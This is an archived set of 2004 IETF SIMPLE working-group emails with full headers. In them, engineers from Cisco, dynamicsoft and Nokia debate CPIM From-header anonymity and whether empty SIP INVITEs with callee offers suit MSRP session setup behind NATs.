Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyVma-0001zI-00
	for simple@ietf.org; Wed, 03 Mar 2004 07:47:28 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVm6-0001q8-00
	for simple@ietf.org; Wed, 03 Mar 2004 07:46:58 -0500
Received: from sj-core-2.cisco.com (171.71.177.254)
  by sj-iport-3.cisco.com with ESMTP; 03 Mar 2004 04:58:48 +0000
Received: from mira-sjc5-e.cisco.com (IDENT:mirapoint@mira-sjc5-e.cisco.com [171.71.163.15])
	by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id i23CkOY6020235;
	Wed, 3 Mar 2004 04:46:25 -0800 (PST)
Received: from [218.37.230.63] (tokyo-vpn-user33.cisco.com [10.70.82.33])
	by mira-sjc5-e.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AMW22405;
	Wed, 3 Mar 2004 04:46:23 -0800 (PST)
User-Agent: Microsoft-Entourage/10.1.4.030702.0
Subject: Re: [Simple] Chat sessions
From: Cullen Jennings <fluffy@cisco.com>
To: Adam Roach <adam@dynamicsoft.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Paul H Kyzivat <pkyzivat@cisco.com>
CC: <hisham.khartabil@nokia.com>, <Miguel.An.Garcia@nokia.com>,
        <simple@ietf.org>, <aki.niemi@nokia.com>
Message-ID: <BC6C02AE.33F7B%fluffy@cisco.com>
In-Reply-To: <9ACE0CEE075B494096C86C23878BF85906A33E@dyn-tx-exch-001.dynamicsoft.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 21:46:22 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

On 2/28/04 12:28 PM, "Adam Roach" <adam@dynamicsoft.com> wrote:

> Additionally, I feel *strongly* that specifying the use of
> intentionally invalid URIs in the "From:" headers in CPIM
> is a violation of the spirit of CPIM.
> 
> "The URI indicates an address for the originator."

I don't see a problem with putting alias or Anonymous in CPIM from and I see
a real problem if you try to do anything else. It just says an address. It
does not say that the owner of your class 5 switch has asserted it is valid.
How do you express that you would like this kept private and who would do
it?

Cullen


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 08:56:09 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA27214
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 08:56:09 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyWr3-0006o0-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 08:56:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyWpp-0006a5-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 08:54:55 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyWp2-0006Nu-00; Wed, 03 Mar 2004 08:54:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyWoz-0000SQ-Sh; Wed, 03 Mar 2004 08:54:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyWoe-0000RM-Or
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 08:53:40 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA27065
	for <simple@ietf.org>; Wed, 3 Mar 2004 08:53:38 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyWod-0006LC-00
	for simple@ietf.org; Wed, 03 Mar 2004 08:53:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyWng-0006Aa-00
	for simple@ietf.org; Wed, 03 Mar 2004 08:52:41 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyWmp-00060i-00
	for simple@ietf.org; Wed, 03 Mar 2004 08:51:47 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i23DpXh22965;
	Wed, 3 Mar 2004 15:51:34 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 15:51:25 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i23DpPNt021706;
	Wed, 3 Mar 2004 15:51:25 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks004.ntc.nokia.com 006TeZbq; Wed, 03 Mar 2004 15:51:23 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i23DpNO14803;
	Wed, 3 Mar 2004 15:51:23 +0200 (EET)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 15:51:19 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] RE: MSRP & Comedia
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB70179782A@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] RE: MSRP & Comedia
Thread-Index: AcQBDdcVUY3WwnecTnSfc9sHcDDwLgAGKW3A
To: <adam@dynamicsoft.com>, <rohan@cisco.com>
Cc: <pkyzivat@cisco.com>, <bcampbell@dynamicsoft.com>, <fluffy@cisco.com>,
        <rsparks@dynamicsoft.com>, <simple@ietf.org>
X-OriginalArrivalTime: 03 Mar 2004 13:51:19.0904 (UTC) FILETIME=[9B4BD600:01C40126]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 15:51:19 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Just for the recond, I fully support adam's views on this issue.

/Hisham

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext Adam Roach
> Sent: 03.March.2004 12:39
> To: 'Rohan Mahy'; Adam Roach
> Cc: 'Paul Kyzivat'; Ben Campbell; 'Cullen Jennings'; Robert Sparks;
> simple@ietf.org
> Subject: RE: [Simple] RE: MSRP & Comedia
>=20
>=20
> I really don't like the prospect of requiring caller
> prefs to avoid these kind of bizarre and unfortunate
> user experiences.
>=20
> My main point is that using empty INVITEs seems to
> cause more problems than it solves. Are these problems
> completely intractable? Probably not. Are they
> unpleasant? Well, I certainly think so.
>=20
> So, given the chance, I'd far prefer to see solutions
> that don't require callee offers explored before we
> resort to a tool that brings unpleasant consequences
> (or, at the very least, specific additional mechanisms
> added throughout the system).
>=20
> /a
>=20
> > -----Original Message-----
> > From: Rohan Mahy [mailto:rohan@cisco.com]
> > Sent: Wednesday, March 03, 2004 2:17
> > To: Adam Roach
> > Cc: 'Paul Kyzivat'; Ben Campbell; Rohan Mahy; 'Cullen=20
> > Jennings'; Robert
> > Sparks; simple@ietf.org
> > Subject: Re: [Simple] RE: MSRP & Comedia
> >=20
> >=20
> > Adam,
> >=20
> > You could use caller prefs even with your=20
> rusty/dusty/trusty "legacy"=20
> > SIP phone  ;-).
> >=20
> > You would need something to add media feature parameters to the=20
> > registration of the 7960 on its behalf.  This is not that=20
> big a deal.
> >=20
> > thanks,
> > -rohan
> >=20
> >=20
> > On Mar 3, 2004, at 4:49 PM, Adam Roach wrote:
> >=20
> > > That's all great. Now tell me how it works using
> > > the Cisco 7960 sitting on my desk right now. Assume
> > > that upgrading the software is not an option.
> > >
> > > /a
> > >
> > >> -----Original Message-----
> > >> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> > >> Sent: Tuesday, March 02, 2004 20:09
> > >> To: Adam Roach
> > >> Cc: 'Cullen Jennings'; Ben Campbell; Robert Sparks; Rohan Mahy;
> > >> simple@ietf.org
> > >> Subject: Re: [Simple] RE: MSRP & Comedia
> > >>
> > >>
> > >> There are a couple of solutions to the bad user experience
> > >> you outline:
> > >>
> > >> - the UAC can use callerprefs to indicate what media it desires.
> > >>    For this to work the UAS would have to evaluate the=20
> callerprefs,
> > >>    which isn't currently required or expected.
> > >>
> > >> - preconditions could be used to ensure that there is a=20
> > satisfactory
> > >>    agreement on media before alerting. In this particular
> > >> case it would
> > >>    be the UAS that inserts the preconditions as a way of=20
> > improving the
> > >>    user experience at its end. Most any precondition would=20
> > do, though
> > >>    the newly proposed connectivity precondition would be quite
> > >>    appropriate. A hypothetical new precondition relating to
> > >> negotiation
> > >>    of some acceptable (set of) media stream(s) might also be
> > >> interesting.
> > >>
> > >> Paul
> > >>
> > >> Adam Roach wrote:
> > >>> Okay, so, the user experience you're promoting
> > >>> here would lead to a situation in which you open
> > >>> up your IM client, type in a message for me,
> > >>> and my desktop hard phone starts ringing. Several
> > >>> seconds later, I pick up the receiver, my hardphone
> > >>> sends a "200 OK" response, and... well, nothing
> > >>> good can come of any result at this point.
> > >>>
> > >>> If your client supports audio, my voice is suddenly
> > >>> coming out of your PC speakers. If not, the call
> > >>> is torn down, your client renders an error to you,
> > >>> sends me a bye, and I'm sitting there holding a dead
> > >>> handset.
> > >>>
> > >>> This is the problem that I've pointed out occasionally
> > >>> for several years: this "send an INVITE with no body"
> > >>> approach for setting up sessions causes all kinds
> > >>> of problems. It was originally added for interwork
> > >>> with the prehistoric H.323v1 procedures, and not killed
> > >>> because we observed that it can be used in this clever
> > >>> 3pcc hack -- but it invariably leads to a message that
> > >>> semantically means the same thing as the dialog
> > >>> box that I sent earlier.
> > >>>
> > >>> /a
> > >>>
> > >>>
> > >>>> -----Original Message-----
> > >>>> From: Cullen Jennings [mailto:fluffy@cisco.com]
> > >>>> Sent: Monday, March 01, 2004 8:38
> > >>>> To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
> > >>>> Cc: simple@ietf.org
> > >>>> Subject: Re: [Simple] RE: MSRP & Comedia
> > >>>>
> > >>>>
> > >>>>
> > >>>> It just sends an offer with all three and then the other ends
> > >>>> selects. This
> > >>>> is how SIP is today - you can send an invite with no offer
> > >>>> then get the
> > >>>> offer in the response and put the answer in the ack.
> > >>>>
> > >>>> On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
> > >>>>
> > >>>>
> > >>>>> From a protocol perspective, this sounds reasonable.
> > >>>>>
> > >>>>> I think the key problem is that the first example shifts the
> > >>>>> decision of what type of communication is requested
> > >>>>> from the caller to the callee. Without getting into a=20
> discussion
> > >>>>> of whether that is the "right" thing to do, it certainly is
> > >>>>> going to differ from user expectations.
> > >>>>>
> > >>>>> +----------------------------------------------+
> > >>>>> | Cullen Jennings <sip:fluffy@cisco.com> wants |
> > >>>>> | to start a conversation, but I have no idea  |
> > >>>>> | what kind. Take your best guess:             |
> > >>>>> |                                              |
> > >>>>> |    +-------+  +-----------------+  +----+    |
> > >>>>> |    | Voice |  | Voice and video |  | IM |    |
> > >>>>> |    +-------+  +-----------------+  +----+    |
> > >>>>> +----------------------------------------------+
> > >>>>>
> > >>>>> /a
> > >>>>>
> > >>>>>
> > >>>>>> -----Original Message-----
> > >>>>>> From: Cullen Jennings [mailto:fluffy@cisco.com]
> > >>>>>> Sent: Friday, February 27, 2004 0:50
> > >>>>>> To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
> > >>>>>> Cc: simple@ietf.org
> > >>>>>> Subject: MSRP & Comedia
> > >>>>>>
> > >>>>>>
> > >>>>>>
> > >>>>>> This is a half baked idea that I am just tossing out as food
> > >>>>>> for thought
> > >>>>>>
> > >>>>>> Consider a systems where something like the UA that sends the
> > >>>>>> answer sends
> > >>>>>> the VISIT.
> > >>>>>>
> > >>>>>> Consider the cases where A want to set up a MSRP=20
> > session with B.
> > >>>>>>
> > >>>>>> A is behind a NAT and does not want to use a relay. A sends
> > >>>>>> an INVITE with
> > >>>>>> no offer. B sends an offer, gets back an answer and A
> > >>>>>
> > >>>> sends the VISIT.
> > >>>>
> > >>>>>> A -> inv    -> B
> > >>>>>> A <- offer  <- B
> > >>>>>> A -> answer -> B
> > >>>>>> A -> visit  -> B
> > >>>>>>
> > >>>>>> B is behind a NAT. A sends an offer and B sends an answer and
> > >>>>>> A sends VISIT.
> > >>>>>> A -> offer  -> B
> > >>>>>> A <- answer <- B
> > >>>>>> A <- visit  <- B
> > >>>>>>
> > >>>>>> A and B are behind NATS. A sends INVITE no offer, B knows
> > >>>>>> relay is needed
> > >>>>>> and gets one and sends offer.
> > >>>>>>
> > >>>>>> The underlying principal is basically if you don't know what
> > >>>>>> port you are
> > >>>>>> going to receive media at (which is the case with a NAT) you
> > >>>>>> should not be
> > >>>>>> making any offers and if you make an offer the assumption is
> > >>>>>> that the other
> > >>>>>> side and send media (a VISIT) to that and have it work.
> > >>>>>>
> > >>>>>> The fundamental thing I am trying to avoid is two vendors
> > >>>>>> both saying they
> > >>>>>> have MSRP compliant systems yet still having them fail to be
> > >>>>>> able to talk to
> > >>>>>> each other because they both expect the other one to host.
> > >>>>>>
> > >>>>>
> > >>>>> _______________________________________________
> > >>>>> Simple mailing list
> > >>>>> Simple@ietf.org
> > >>>>> https://www1.ietf.org/mailman/listinfo/simple
> > >>>>>
> > >>>>
> > >>>>
> > >>>> _______________________________________________
> > >>>> Simple mailing list
> > >>>> Simple@ietf.org
> > >>>> https://www1.ietf.org/mailman/listinfo/simple
> > >>>>
> > >>>
> > >>>
> > >>> _______________________________________________
> > >>> Simple mailing list
> > >>> Simple@ietf.org
> > >>> https://www1.ietf.org/mailman/listinfo/simple
> > >>>
> > >>
> >=20
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 08:56:42 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA27330
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 08:56:42 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyWr7-0000cq-Px
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 08:56:13 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i23DuDDg002398
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 08:56:13 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyWr7-0000cb-Lg
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 08:56:13 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA27232
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 08:56:11 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyWr6-0006oE-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 08:56:12 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyWpr-0006aD-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 08:54:56 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyWp2-0006Nu-00; Wed, 03 Mar 2004 08:54:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyWoz-0000SQ-Sh; Wed, 03 Mar 2004 08:54:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyWoe-0000RM-Or
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 08:53:40 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA27065
	for <simple@ietf.org>; Wed, 3 Mar 2004 08:53:38 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyWod-0006LC-00
	for simple@ietf.org; Wed, 03 Mar 2004 08:53:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyWng-0006Aa-00
	for simple@ietf.org; Wed, 03 Mar 2004 08:52:41 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyWmp-00060i-00
	for simple@ietf.org; Wed, 03 Mar 2004 08:51:47 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i23DpXh22965;
	Wed, 3 Mar 2004 15:51:34 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 15:51:25 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i23DpPNt021706;
	Wed, 3 Mar 2004 15:51:25 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks004.ntc.nokia.com 006TeZbq; Wed, 03 Mar 2004 15:51:23 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i23DpNO14803;
	Wed, 3 Mar 2004 15:51:23 +0200 (EET)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 15:51:19 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] RE: MSRP & Comedia
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB70179782A@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] RE: MSRP & Comedia
Thread-Index: AcQBDdcVUY3WwnecTnSfc9sHcDDwLgAGKW3A
To: <adam@dynamicsoft.com>, <rohan@cisco.com>
Cc: <pkyzivat@cisco.com>, <bcampbell@dynamicsoft.com>, <fluffy@cisco.com>,
        <rsparks@dynamicsoft.com>, <simple@ietf.org>
X-OriginalArrivalTime: 03 Mar 2004 13:51:19.0904 (UTC) FILETIME=[9B4BD600:01C40126]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 15:51:19 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Just for the recond, I fully support adam's views on this issue.

/Hisham

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext Adam Roach
> Sent: 03.March.2004 12:39
> To: 'Rohan Mahy'; Adam Roach
> Cc: 'Paul Kyzivat'; Ben Campbell; 'Cullen Jennings'; Robert Sparks;
> simple@ietf.org
> Subject: RE: [Simple] RE: MSRP & Comedia
>=20
>=20
> I really don't like the prospect of requiring caller
> prefs to avoid these kind of bizarre and unfortunate
> user experiences.
>=20
> My main point is that using empty INVITEs seems to
> cause more problems than it solves. Are these problems
> completely intractable? Probably not. Are they
> unpleasant? Well, I certainly think so.
>=20
> So, given the chance, I'd far prefer to see solutions
> that don't require callee offers explored before we
> resort to a tool that brings unpleasant consequences
> (or, at the very least, specific additional mechanisms
> added throughout the system).
>=20
> /a
>=20
> > -----Original Message-----
> > From: Rohan Mahy [mailto:rohan@cisco.com]
> > Sent: Wednesday, March 03, 2004 2:17
> > To: Adam Roach
> > Cc: 'Paul Kyzivat'; Ben Campbell; Rohan Mahy; 'Cullen=20
> > Jennings'; Robert
> > Sparks; simple@ietf.org
> > Subject: Re: [Simple] RE: MSRP & Comedia
> >=20
> >=20
> > Adam,
> >=20
> > You could use caller prefs even with your=20
> rusty/dusty/trusty "legacy"=20
> > SIP phone  ;-).
> >=20
> > You would need something to add media feature parameters to the=20
> > registration of the 7960 on its behalf.  This is not that=20
> big a deal.
> >=20
> > thanks,
> > -rohan
> >=20
> >=20
> > On Mar 3, 2004, at 4:49 PM, Adam Roach wrote:
> >=20
> > > That's all great. Now tell me how it works using
> > > the Cisco 7960 sitting on my desk right now. Assume
> > > that upgrading the software is not an option.
> > >
> > > /a
> > >
> > >> -----Original Message-----
> > >> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> > >> Sent: Tuesday, March 02, 2004 20:09
> > >> To: Adam Roach
> > >> Cc: 'Cullen Jennings'; Ben Campbell; Robert Sparks; Rohan Mahy;
> > >> simple@ietf.org
> > >> Subject: Re: [Simple] RE: MSRP & Comedia
> > >>
> > >>
> > >> There are a couple of solutions to the bad user experience
> > >> you outline:
> > >>
> > >> - the UAC can use callerprefs to indicate what media it desires.
> > >>    For this to work the UAS would have to evaluate the=20
> callerprefs,
> > >>    which isn't currently required or expected.
> > >>
> > >> - preconditions could be used to ensure that there is a=20
> > satisfactory
> > >>    agreement on media before alerting. In this particular
> > >> case it would
> > >>    be the UAS that inserts the preconditions as a way of=20
> > improving the
> > >>    user experience at its end. Most any precondition would=20
> > do, though
> > >>    the newly proposed connectivity precondition would be quite
> > >>    appropriate. A hypothetical new precondition relating to
> > >> negotiation
> > >>    of some acceptable (set of) media stream(s) might also be
> > >> interesting.
> > >>
> > >> Paul
> > >>
> > >> Adam Roach wrote:
> > >>> Okay, so, the user experience you're promoting
> > >>> here would lead to a situation in which you open
> > >>> up your IM client, type in a message for me,
> > >>> and my desktop hard phone starts ringing. Several
> > >>> seconds later, I pick up the receiver, my hardphone
> > >>> sends a "200 OK" response, and... well, nothing
> > >>> good can come of any result at this point.
> > >>>
> > >>> If your client supports audio, my voice is suddenly
> > >>> coming out of your PC speakers. If not, the call
> > >>> is torn down, your client renders an error to you,
> > >>> sends me a bye, and I'm sitting there holding a dead
> > >>> handset.
> > >>>
> > >>> This is the problem that I've pointed out occasionally
> > >>> for several years: this "send an INVITE with no body"
> > >>> approach for setting up sessions causes all kinds
> > >>> of problems. It was originally added for interwork
> > >>> with the prehistoric H.323v1 procedures, and not killed
> > >>> because we observed that it can be used in this clever
> > >>> 3pcc hack -- but it invariably leads to a message that
> > >>> semantically means the same thing as the dialog
> > >>> box that I sent earlier.
> > >>>
> > >>> /a
> > >>>
> > >>>
> > >>>> -----Original Message-----
> > >>>> From: Cullen Jennings [mailto:fluffy@cisco.com]
> > >>>> Sent: Monday, March 01, 2004 8:38
> > >>>> To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
> > >>>> Cc: simple@ietf.org
> > >>>> Subject: Re: [Simple] RE: MSRP & Comedia
> > >>>>
> > >>>>
> > >>>>
> > >>>> It just sends an offer with all three and then the other ends
> > >>>> selects. This
> > >>>> is how SIP is today - you can send an invite with no offer
> > >>>> then get the
> > >>>> offer in the response and put the answer in the ack.
> > >>>>
> > >>>> On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
> > >>>>
> > >>>>
> > >>>>> From a protocol perspective, this sounds reasonable.
> > >>>>>
> > >>>>> I think the key problem is that the first example shifts the
> > >>>>> decision of what type of communication is requested
> > >>>>> from the caller to the callee. Without getting into a=20
> discussion
> > >>>>> of whether that is the "right" thing to do, it certainly is
> > >>>>> going to differ from user expectations.
> > >>>>>
> > >>>>> +----------------------------------------------+
> > >>>>> | Cullen Jennings <sip:fluffy@cisco.com> wants |
> > >>>>> | to start a conversation, but I have no idea  |
> > >>>>> | what kind. Take your best guess:             |
> > >>>>> |                                              |
> > >>>>> |    +-------+  +-----------------+  +----+    |
> > >>>>> |    | Voice |  | Voice and video |  | IM |    |
> > >>>>> |    +-------+  +-----------------+  +----+    |
> > >>>>> +----------------------------------------------+
> > >>>>>
> > >>>>> /a
> > >>>>>
> > >>>>>
> > >>>>>> -----Original Message-----
> > >>>>>> From: Cullen Jennings [mailto:fluffy@cisco.com]
> > >>>>>> Sent: Friday, February 27, 2004 0:50
> > >>>>>> To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
> > >>>>>> Cc: simple@ietf.org
> > >>>>>> Subject: MSRP & Comedia
> > >>>>>>
> > >>>>>>
> > >>>>>>
> > >>>>>> This is a half baked idea that I am just tossing out as food
> > >>>>>> for thought
> > >>>>>>
> > >>>>>> Consider a systems where something like the UA that sends the
> > >>>>>> answer sends
> > >>>>>> the VISIT.
> > >>>>>>
> > >>>>>> Consider the cases where A want to set up a MSRP=20
> > session with B.
> > >>>>>>
> > >>>>>> A is behind a NAT and does not want to use a relay. A sends
> > >>>>>> an INVITE with
> > >>>>>> no offer. B sends an offer, gets back an answer and A
> > >>>>>
> > >>>> sends the VISIT.
> > >>>>
> > >>>>>> A -> inv    -> B
> > >>>>>> A <- offer  <- B
> > >>>>>> A -> answer -> B
> > >>>>>> A -> visit  -> B
> > >>>>>>
> > >>>>>> B is behind a NAT. A sends an offer and B sends an answer and
> > >>>>>> A sends VISIT.
> > >>>>>> A -> offer  -> B
> > >>>>>> A <- answer <- B
> > >>>>>> A <- visit  <- B
> > >>>>>>
> > >>>>>> A and B are behind NATS. A sends INVITE no offer, B knows
> > >>>>>> relay is needed
> > >>>>>> and gets one and sends offer.
> > >>>>>>
> > >>>>>> The underlying principal is basically if you don't know what
> > >>>>>> port you are
> > >>>>>> going to receive media at (which is the case with a NAT) you
> > >>>>>> should not be
> > >>>>>> making any offers and if you make an offer the assumption is
> > >>>>>> that the other
> > >>>>>> side and send media (a VISIT) to that and have it work.
> > >>>>>>
> > >>>>>> The fundamental thing I am trying to avoid is two vendors
> > >>>>>> both saying they
> > >>>>>> have MSRP compliant systems yet still having them fail to be
> > >>>>>> able to talk to
> > >>>>>> each other because they both expect the other one to host.
> > >>>>>>
> > >>>>>
> > >>>>> _______________________________________________
> > >>>>> Simple mailing list
> > >>>>> Simple@ietf.org
> > >>>>> https://www1.ietf.org/mailman/listinfo/simple
> > >>>>>
> > >>>>
> > >>>>
> > >>>> _______________________________________________
> > >>>> Simple mailing list
> > >>>> Simple@ietf.org
> > >>>> https://www1.ietf.org/mailman/listinfo/simple
